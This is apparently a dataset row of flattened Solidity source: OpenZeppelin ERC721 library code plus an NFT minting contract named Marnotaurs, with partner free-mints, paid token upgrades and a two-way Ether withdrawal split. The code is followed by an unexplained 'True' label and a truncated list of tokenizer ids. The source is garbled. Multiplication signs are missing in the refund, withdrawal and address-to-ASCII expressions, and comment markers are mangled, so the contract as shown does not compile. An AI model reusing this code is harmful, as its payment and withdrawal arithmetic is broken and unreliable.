buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // Part: OpenZeppelin/[email protected]/ERC165 /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // Part: OpenZeppelin/[email protected]/IERC721 /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // Part: OpenZeppelin/[email protected]/Ownable /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Part: OpenZeppelin/[email protected]/IERC721Enumerable /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // Part: OpenZeppelin/[email protected]/IERC721Metadata /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // Part: OpenZeppelin/[email protected]/ERC721 /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // Part: OpenZeppelin/[email protected]/ERC721Enumerable /* * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: Marnotaur721.sol contract Marnotaurs is ERC721Enumerable, Ownable { struct Partners { uint256 limit; uint256 nftMinted; } struct Upgrade { uint256 priceETH; uint256 limit; // 0 - unlimited uint256 count; // How much upgraded uint256 tokenIdShift; //used for gen newTokenId, add to old tokenId bool enabled; } struct Beneficiary { address bAddress; uint256 bPercent; } uint256 constant public MAX_TOTAL_SUPPLY = 9990; uint256 constant public MAX_MINT_PER_TX = 10; uint256 constant public MAX_BUY_PER_TX = 10; uint256 public mintPrice = 5e16; uint256 public stopMintAfter = 2775; //5555 uint256 public reservedForPartners; uint256 public enableBuyAfterTimestamp; mapping (address => Partners) public partnersLimit; Upgrade[] public upgradeTypes; Beneficiary[2] public beneficiaries; //Event for track mint channel: // 1 - MagicBox - depricated // 2 - With Ethere // 3 - Partners White List // 4 - With ERC20 - depricated event MintSource(uint256 tokenId, uint8 channel); event PartnesChanged(address partner, uint256 limit); event Upgraded(address indexed holder, uint256 upgradeIndex, uint256 oldTokenId, uint256 newTokenId); /** * @dev Set _mintMagicBox to true for enable this feature * / //constructor() ERC721("MÆRⴼTΩR NFT Collection", "MÆRⴼTΩR") { constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) { //1630353600 - 2021-08-30 20:00 UTC enableBuyAfterTimestamp = 1630353600; beneficiaries[0] = Beneficiary(msg.sender, 6650); beneficiaries[1] = Beneficiary(msg.sender, 3350); } /* * @dev Mint new NFTs with ether or free for partners. * / function multiMint() external payable { uint256 mintAmount = _availableFreeMint(msg.sender); if(mintAmount > 0) { require(msg.value == 0, "No need Ether"); mintAmount = _multiMint(msg.sender, mintAmount, 3); partnersLimit[msg.sender].nftMinted += mintAmount; reservedForPartners -= mintAmount; } else { require(enableBuyAfterTimestamp <= block.timestamp, "To early"); require(msg.value >= mintPrice, "Less ether for mint"); uint256 estimateAmountForMint = msg.value / mintPrice; require(estimateAmountForMint <= MAX_BUY_PER_TX, "So much payable mint"); require(stopMintAfter - reservedForPartners >= totalSupply() + estimateAmountForMint, "Minting is paused"); mintAmount = _multiMint(msg.sender, estimateAmountForMint, 2); if ((msg.value - mintAmount mintPrice) > 0) { address payable s = payable(msg.sender); s.transfer(msg.value - mintAmount * mintPrice); } } } function upgradeMe(uint256 _upgradeIndex, uint256 _tokenId) external payable { require (_upgradeIndex < upgradeTypes.length, "Unknown upgrade"); require(ownerOf(_tokenId) == msg.sender, "Only for token owner"); require(upgradeTypes[_upgradeIndex].enabled, "Disabled upgrade"); require(upgradeTypes[_upgradeIndex].priceETH <= msg.value, "Not enough ether"); if (upgradeTypes[_upgradeIndex].limit != 0) { require( upgradeTypes[_upgradeIndex].count + 1 <= upgradeTypes[_upgradeIndex].limit, "Upgrade limit exceeded" ); } upgradeTypes[_upgradeIndex].count += 1; _burn(_tokenId); uint256 newToken = upgradeTypes[_upgradeIndex].tokenIdShift + _tokenId; _mint(msg.sender, newToken); emit Upgraded(msg.sender, _upgradeIndex, _tokenId, newToken); if (msg.value - upgradeTypes[_upgradeIndex].priceETH > 0 ){ address payable s = payable(msg.sender); s.transfer(msg.value - upgradeTypes[_upgradeIndex].priceETH); } } /** * @dev Returns avilable for free mint NFTs for address * / function availableFreeMint(address _partner) external view returns (uint256) { return _availableFreeMint(_partner); } function getUpgradeType(uint256 _index) external view returns(Upgrade memory) { require(_index < upgradeTypes.length, "Unknown upgrade"); return upgradeTypes[_index]; } function getUpgradeTypeCount() external view returns(uint256) { return upgradeTypes.length; } function getBeneficiaries() external view returns(Beneficiary[2] memory) { return beneficiaries; } /////////////////////////////////////////////////////////////////// ///// Owners Functions /////////////////////////////////////////// /////////////////////////////////////////////////////////////////// function setPartner(address _partner, uint256 _limit) external onlyOwner { _setPartner(_partner, _limit); } function setPartnerBatch(address[] memory _partners, uint256[] memory _limits) external onlyOwner { require(_partners.length == _limits.length, "Array params must have equal length"); require(_partners.length <= 256, "Not more than 256"); for (uint8 i; i < _partners.length; i ++) { _setPartner(_partners[i], _limits[i]); } } function setMintPrice(uint256 _newPrice) external onlyOwner { mintPrice = _newPrice; } function withdrawEther() external onlyOwner { uint256 raised = address(this).balance; for (uint8 i; i < beneficiaries.length; i ++) { address payable o = payable(beneficiaries[i].bAddress); o.transfer(raised beneficiaries[i].bPercent / 10000); } } function setMintPause(uint256 _newTotalSupply) external onlyOwner { stopMintAfter = _newTotalSupply; } function setEnableTimestamp(uint256 _newTimestamp) external onlyOwner { enableBuyAfterTimestamp = _newTimestamp; } function addUpgradeType( uint256 _priceETH, uint256 _limit, uint256 _tokenIdShift, bool _enabled ) external onlyOwner { require(_tokenIdShift > MAX_TOTAL_SUPPLY, "Not Zero"); upgradeTypes.push(Upgrade({ priceETH: _priceETH, limit: _limit, count: 0, tokenIdShift: _tokenIdShift, enabled: _enabled }) ); } function updateUpType( uint256 _inedx, uint256 _priceETH, uint256 _limit, bool _enabled ) external onlyOwner { upgradeTypes[_inedx].priceETH = _priceETH; upgradeTypes[_inedx].limit = _limit; upgradeTypes[_inedx].enabled = _enabled; } function setBeneficiary(uint256 _index, address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "No Zero Address"); beneficiaries[_index].bAddress = _beneficiary; } /////////////////////////////////////////////////////////////////// ///// INTERNALS ///////////////////////////////////////////// /////////////////////////////////////////////////////////////////// function _availableFreeMint(address _partner) internal view returns (uint256) { return partnersLimit[_partner].limit - partnersLimit[_partner].nftMinted; } function _baseURI() internal view override returns (string memory) { return string(abi.encodePacked( //"https://dev.nftstars.app/backend/api/v1/nfts/metadata/0x", "https://nftstars.app/backend/api/v1/nfts/metadata/0x", toAsciiString(address(this)), "/") ); } function _setPartner(address _partner, uint256 _limit) internal { require(_partner != address(0), "No zero"); require(_limit >= partnersLimit[_partner].nftMinted, "Cant decrease more then minted"); if (partnersLimit[_partner].limit < _limit) { reservedForPartners += (_limit - partnersLimit[_partner].limit); } else { reservedForPartners -= (partnersLimit[_partner].limit - _limit); } partnersLimit[_partner].limit = _limit; emit PartnesChanged(_partner, _limit); } function _multiMint(address to, uint256 amount, uint8 channel) internal returns (uint256) { require((totalSupply() + reservedForPartners + amount) <= MAX_TOTAL_SUPPLY, "No more common heroes"); uint256 counter; if (amount > MAX_MINT_PER_TX) { counter = MAX_MINT_PER_TX; } else { counter = amount; } if ((totalSupply() + counter) > MAX_TOTAL_SUPPLY) { counter = MAX_TOTAL_SUPPLY - totalSupply(); } for(uint i = 0; i < counter; i++) { _mint(to, totalSupply()); emit MintSource(totalSupply()-1, channel); } return counter; } function toAsciiString(address x) internal view returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2*(8(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2i] = char(hi); s[2i+1] = char(lo); } return string(s); } function char(bytes1 b) internal view returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1021, 1025, 1013, 1013, 2112, 1024, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1030, 1018, 1012, 1017, 1012, 1014, 1013, 4769, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 2008, 2019, 4769, 2005, 2029, 2023, 3853, 5651, 1008, 6270, 2003, 2019, 27223, 1011, 3079, 4070, 1006, 1041, 10441, 1007, 1998, 2025, 1037, 3206, 1012, 1008, 1008, 2426, 2500, 1010, 1036, 2003, 8663, 6494, 6593, 1036, 2097, 2709, 6270, 2005, 1996, 2206, 1008, 4127, 1997, 11596, 1024, 1008, 1008, 1011, 2019, 27223, 1011, 3079, 4070, 1008, 1011, 1037, 3206, 1999, 2810, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2097, 2022, 2580, 1008, 1011, 2019, 4769, 2073, 1037, 3206, 2973, 1010, 2021, 2001, 3908, 1008, 1027, 1027, 1027, 1027, 1008, 1013, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 1013, 1013, 2023, 4118, 16803, 2006, 4654, 13535, 19847, 4697, 1010, 2029, 5651, 1014, 2005, 8311, 1999, 1013, 1013, 2810, 1010, 2144, 1996, 3642, 2003, 2069, 8250, 2012, 1996, 2203, 1997, 1996, 1013, 1013, 9570, 2953, 7781, 1012, 21318, 3372, 17788, 2575, 2946, 1025, 3320, 1063, 2946, 1024, 1027, 4654, 13535, 19847, 4697, 1006, 4070, 1007, 1065, 2709, 2946, 1028, 1014, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 6110, 2005, 5024, 3012, 1005, 1055, 1036, 4651, 1036, 1024, 10255, 1036, 3815, 1036, 11417, 2000, 1008, 1036, 7799, 1036, 1010, 2830, 2075, 2035, 2800, 3806, 1998, 7065, 8743, 2075, 2006, 10697, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 6988, 1031, 1041, 11514, 15136, 2620, 2549, 1033, 7457, 1996, 3806, 3465, 1008, 1997, 3056, 6728, 23237, 1010, 4298, 2437, 8311, 2175, 2058, 1996, 11816, 2692, 3806, 5787, 1008, 9770, 2011, 1036, 4651, 1036, 1010, 2437, 2068, 4039, 2000, 4374, 5029, 3081, 1008, 1036, 4651, 1036, 1012, 1063, 4604, 10175, 5657, 1065, 20362, 2023, 22718, 1012, 1008, 1008, 16770, 1024, 1013, 1013, 29454, 29206, 3401, 1012, 9530, 5054, 6508, 2015, 1012, 5658, 1013, 8466, 1013, 10476, 1013, 5641, 1013, 2644, 1011, 2478, 1011, 5024, 3012, 2015, 1011, 4651, 1011, 2085, 1013, 1031, 4553, 2062, 1033, 1012, 1008, 1008, 2590, 1024, 2138, 2491, 2003, 4015, 2000, 1036, 7799, 1036, 1010, 2729, 2442, 2022, 1008, 2579, 2000, 2025, 3443, 2128, 4765, 5521, 5666, 24728, 